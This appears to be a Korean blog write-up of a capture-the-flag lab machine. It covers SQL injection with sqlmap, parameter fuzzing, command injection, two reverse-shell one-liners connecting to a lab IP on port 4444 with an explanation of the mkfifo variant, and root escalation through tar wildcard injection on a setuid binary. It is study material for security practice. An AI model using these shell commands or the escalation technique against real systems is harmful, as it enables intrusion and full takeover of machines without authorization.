HTTP Parameter Pollution(HPP): 같은 이름의 파라미터로 요청을 보내서 오염을 발생시킨다.
기본 ip를 찾고, 포트를 확인해보니 80번 포트가 열려있는 것을 확인할 수 있고, 바로 회원가입 페이지가 있어서 회원가입하고 입장하니 아래와 같은 힌트를 볼 수 있었다.
근데 막상 HPP를 사용하는 부분이 보이지 않는데, 페이크 힌트인지 모르겠다.
sqlmap을 사용해서 sql injection을 사용하니 admin 계정과 john계정을 발견하였다.
ffuf을 이용해서 user 파라미터를 발견하였고, admin의 history에서 github를 발견하고 내용을 git clone 해보았다.
system 명령어로 cmdcntr 파라미터에 값을 실행하는 것을 볼 수 있다.
sh -i >& /dev/tcp/192.168.16.150/4444 0>&1는 평범한 리버스쉘 코드가 될 수 있는데 환경에 따라서 막아놨을 수도 있다.
mkfifo(IPC통신을 위한 named pipe라고 chatgpt가 설명해줌):
rm tmp/f;mkfifo tmp/f;cat tmp/f|sh -i 2>&1|nc 192.168.16.150 4444 > /tmp/f
mkfifo를 통해서 리버스 쉘 접속에 성공하였다.
mkfifo로 만든 파일은 입력을 주지 않을 시 계속 blocking상태로 대기한다.
그래서 cat tmp/f를 하면 무한정 대기하고 있고, 그 값을 sh -i 2>&1에 입력으로 주고 sh -i의 결과를 표준에러와 표준출력을 통합해서 nc 192.168.16.150 4444에 출력으로 보내고 그 출력값을 /tmp/f에 파일로 저장하는 무한루프를 이루게된다.
sh로 접속했기 때문에 su가 안먹혀서 python3을 이용해서 bash쉘로 실행시키고 john으로 유저를 변경하였다.
user flag와 compress라는 setuid가 적용된 루트소유의 파일을 발견하였다.
디컴파일러로 compress를 돌려보면 system("/bin/tar cf archive.tar *);가 있는 것을 확인할 수 있다.
archive.tar로 해당경로에 모든 파일들을 압축하겠다는건데 여기서 와일드카드에 악의적인 명령어가 들어간 파일을 그냥 실행해버리는 문제점이 생기기 때문에 그 취약점을 이용한다.
tar의 취약점을 이용해서 --checkpoint-action=exec=sh shell.sh 라는 파일과 --checkpoint=1파일을 만들고 setuid가 적용된 cp한 배쉬를 생성하는 shell.sh를 작성해놓고 compress를 실행하면 setuid가 0인 배쉬를 실행하게된다.
bash -p
'CTF' 카테고리의 다른 글
CTF) Hackable 3 (0) | 2025.09.10 |
---|---|
CTF)Momentum 1 (0) | 2025.09.04 |
CTF)grotesque3 (0) | 2025.09.01 |
CTF)Matrix-Breakout2 Morpheus (0) | 2025.08.29 |
CTF) LupinOne (0) | 2025.08.26 |